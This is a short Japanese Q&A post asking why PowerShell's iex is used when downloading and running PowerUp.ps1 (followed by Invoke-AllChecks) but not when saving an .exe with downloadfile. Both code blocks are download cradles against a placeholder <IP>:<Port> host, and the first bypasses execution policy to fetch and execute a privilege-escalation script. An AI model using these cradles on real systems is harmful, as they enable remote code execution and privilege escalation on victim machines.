powershellを使ってファイルを読み取り、Invoke-AllChecks関数を実行する場合、(new-object
system.net.webclient)の前にiexを指定しますが（1つ目のコード）、ファイルをダウンロードする場合は、(new-object
system.net.webclient)の前にiexを指定しなくてもよいのはなぜでしょうか。

```

    powershell -nop -exec bypass -c "iex(new-object system.net.webclient).downloadstring('http://<IP>:<Port>/PowerUp.ps1'); Invoke-AllChecks"
    
```

```

    powershell -c (new-object system.net.webclient).downloadfile('http://<IP>:<Port>/<Filename>.exe','C:\<Path>\<Filename>.exe')
    
```
CC BY-SA 4.0
2023-05-18T14:33:23.637
94900
2023-05-18T14:33:23.637
39983
question
powershell
powershellを使ったファイルダウンロードについて